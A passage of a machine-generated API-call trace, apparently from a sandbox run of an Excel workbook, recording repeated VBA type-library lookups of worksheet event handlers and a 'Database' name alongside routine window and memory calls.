_DstSizeInBytes=0x12, _Src=0x28e3c0 | out: _Dst=0x28e21a) returned 0x0 [0165.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0165.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x260f80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0165.241] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb68e1e0 [0165.241] strncpy_s (in: _Dst=0xb68e1e0, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0165.241] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0165.241] bsearch (_Key=0x25fe98, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0165.241] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0165.241] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0165.241] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1380) returned 0x0 [0165.241] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0165.241] IUnknown:Release (This=0xb1d1380) returned 0xb [0165.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68e1e0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0165.241] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0165.242] IUnknown:Release (This=0xb1d1380) returned 0xa [0165.242] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d0570) returned 0x0 [0165.242] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0165.242] IUnknown:Release (This=0xb1d0570) returned 0x12 [0165.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68e1e0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0165.246] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0165.246] IUnknown:Release (This=0xb1d0570) returned 0x11 [0165.247] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1920) returned 0x0 [0165.247] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0165.247] IUnknown:Release (This=0xb1d1920) returned 0x6 [0165.247] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68e1e0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0165.247] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0165.247] IUnknown:Release (This=0xb1d1920) returned 0x5 [0165.247] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0x6fed890) returned 0x0 [0165.247] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0165.247] IUnknown:Release (This=0x6fed890) returned 0x4 [0165.247] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68e1e0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0165.247] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0165.247] IUnknown:Release (This=0x6fed890) returned 0x3 [0165.247] IMalloc:Free (This=0x7feffc15380, pv=0xb68e1e0) [0165.247] GetCurrentThreadId () returned 0x92c [0165.247] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0165.247] GetDesktopWindow () returned 0x10010 [0165.248] SetPropA (hWnd=0x202cc, lpString=0xc113, hData=0x1) returned 1 [0165.248] EnableWindow (hWnd=0x202cc, bEnable=0) returned 0 [0165.248] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb68e1e0 [0165.248] IMalloc:Free (This=0x7feffc15380, pv=0xb68e1e0) [0165.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x261870, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0165.309] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb6897c0 [0165.309] strncpy_s (in: _Dst=0xb6897c0, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0165.309] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0165.309] bsearch (_Key=0x260778, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0165.309] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0165.309] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0165.309] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1380) returned 0x0 [0165.309] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0165.309] IUnknown:Release (This=0xb1d1380) returned 0xb [0165.310] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb6897c0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0165.310] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0165.310] IUnknown:Release (This=0xb1d1380) returned 0xa [0165.310] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d0570) returned 0x0 [0165.310] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0165.310] IUnknown:Release (This=0xb1d0570) returned 0x12 [0165.310] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb6897c0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0165.310] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0165.310] IUnknown:Release (This=0xb1d0570) returned 0x11 [0165.310] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1920) returned 0x0 [0165.311] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0165.311] IUnknown:Release (This=0xb1d1920) returned 0x6 [0165.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb6897c0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0165.311] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0165.311] IUnknown:Release (This=0xb1d1920) returned 0x5 [0165.311] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0x6fed890) returned 0x0 [0165.311] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0165.311] IUnknown:Release (This=0x6fed890) returned 0x4 [0165.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb6897c0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0165.311] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0165.311] IUnknown:Release (This=0x6fed890) returned 0x3 [0165.311] IMalloc:Free (This=0x7feffc15380, pv=0xb6897c0) [0168.245] GetAsyncKeyState (vKey=27) returned 0 [0168.245] GetCurrentThreadId () returned 0x92c [0168.245] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0168.245] GetDesktopWindow () returned 0x10010 [0168.245] RemovePropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0168.245] EnableWindow (hWnd=0x202cc, bEnable=1) returned 1 [0168.246] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6edcf00 [0168.246] IMalloc:Free (This=0x7feffc15380, pv=0x6edcf00) [0168.325] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1545, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x52000000c0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x52000000c0) returned 0x0 [0168.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Change", cchWideChar=7, lpMultiByteStr=0x28f020, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Change", lpUsedDefaultChar=0x0) returned 7 [0168.325] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x11, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0168.325] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x7, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0168.325] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0170.418] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=279, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x200000002 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x200000002) returned 0x0 [0170.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Calculate", cchWideChar=10, lpMultiByteStr=0x28f020, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Calculate", lpUsedDefaultChar=0x0) returned 10 [0170.418] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x14, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0170.418] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0xa, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0170.418] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Calculate") returned 0x106574 [0177.472] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1543, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5200000345 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5200000345) returned 0x0 [0177.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28f020, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0177.472] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x1a, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0177.472] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x10, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0177.472] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0177.473] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1537, refPtrFlags=0x28e370, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0177.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28e3c0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0177.473] _mbscpy_s (in: _Dst=0x28e210, _DstSizeInBytes=0x1c, _Src=0x6762d5a | out: _Dst=0x28e210) returned 0x0 [0177.473] _mbscpy_s (in: _Dst=0x28e21a, _DstSizeInBytes=0x12, _Src=0x28e3c0 | out: _Dst=0x28e21a) returned 0x0 [0177.473] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0177.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x260f80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0177.476] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb680bc0 [0177.476] strncpy_s (in: _Dst=0xb680bc0, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0177.476] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0177.476] bsearch (_Key=0x25fe98, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0177.476] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0177.476] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0177.477] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1380) returned 0x0 [0177.477] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0177.477] IUnknown:Release (This=0xb1d1380) returned 0xb [0177.477] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb680bc0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0177.477] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0177.477] IUnknown:Release (This=0xb1d1380) returned 0xa [0177.477] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d0570) returned 0x0 [0177.477] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0177.477] IUnknown:Release (This=0xb1d0570) returned 0x12 [0177.477] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb680bc0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0177.477] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0177.478] IUnknown:Release (This=0xb1d0570) returned 0x11 [0177.478] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1920) returned 0x0 [0177.478] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0177.478] IUnknown:Release (This=0xb1d1920) returned 0x6 [0177.478] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb680bc0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0177.478] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0177.478] IUnknown:Release (This=0xb1d1920) returned 0x5 [0177.478] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0x6fed890) returned 0x0 [0177.478] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0177.478] IUnknown:Release (This=0x6fed890) returned 0x4 [0177.478] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb680bc0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0177.478] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0177.478] IUnknown:Release (This=0x6fed890) returned 0x3 [0177.478] IMalloc:Free (This=0x7feffc15380, pv=0xb680bc0) [0177.478] GetCurrentThreadId () returned 0x92c [0177.478] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0177.478] GetDesktopWindow () returned 0x10010 [0177.479] SetPropA (hWnd=0x202cc, lpString=0xc113, hData=0x1) returned 1 [0177.479] EnableWindow (hWnd=0x202cc, bEnable=0) returned 0 [0177.479] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb680bc0 [0177.479] IMalloc:Free (This=0x7feffc15380, pv=0xb680bc0) [0177.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x261870, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0177.562] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb6881e0 [0177.562] strncpy_s (in: _Dst=0xb6881e0, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0177.562] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0177.562] bsearch (_Key=0x260778, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0177.562] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0177.562] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0177.562] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1380) returned 0x0 [0177.562] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0177.562] IUnknown:Release (This=0xb1d1380) returned 0xb [0177.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb6881e0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0177.562] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0177.562] IUnknown:Release (This=0xb1d1380) returned 0xa [0177.562] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d0570) returned 0x0 [0177.563] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0177.563] IUnknown:Release (This=0xb1d0570) returned 0x12 [0177.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb6881e0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0177.563] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0177.563] IUnknown:Release (This=0xb1d0570) returned 0x11 [0177.563] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1920) returned 0x0 [0177.563] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0177.563] IUnknown:Release (This=0xb1d1920) returned 0x6 [0177.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb6881e0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0177.563] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0177.563] IUnknown:Release (This=0xb1d1920) returned 0x5 [0177.563] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0x6fed890) returned 0x0 [0177.563] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0177.563] IUnknown:Release (This=0x6fed890) returned 0x4 [0177.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb6881e0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0177.563] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0177.563] IUnknown:Release (This=0x6fed890) returned 0x3 [0177.564] IMalloc:Free (This=0x7feffc15380, pv=0xb6881e0) [0180.517] GetAsyncKeyState (vKey=27) returned 0 [0180.517] GetCurrentThreadId () returned 0x92c [0180.517] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0180.517] GetDesktopWindow () returned 0x10010 [0180.517] RemovePropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0180.517] EnableWindow (hWnd=0x202cc, bEnable=1) returned 1 [0180.518] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6edcee0 [0180.518] IMalloc:Free (This=0x7feffc15380, pv=0x6edcee0) [0180.654] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1545, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6c000000c0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6c000000c0) returned 0x0 [0180.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Change", cchWideChar=7, lpMultiByteStr=0x28f020, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Change", lpUsedDefaultChar=0x0) returned 7 [0180.655] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x11, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0180.655] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x7, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0180.655] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0182.743] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=279, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x300000003 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x300000003) returned 0x0 [0182.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Calculate", cchWideChar=10, lpMultiByteStr=0x28f020, cbMultiByte=20, lpDefaultChar=0x0, 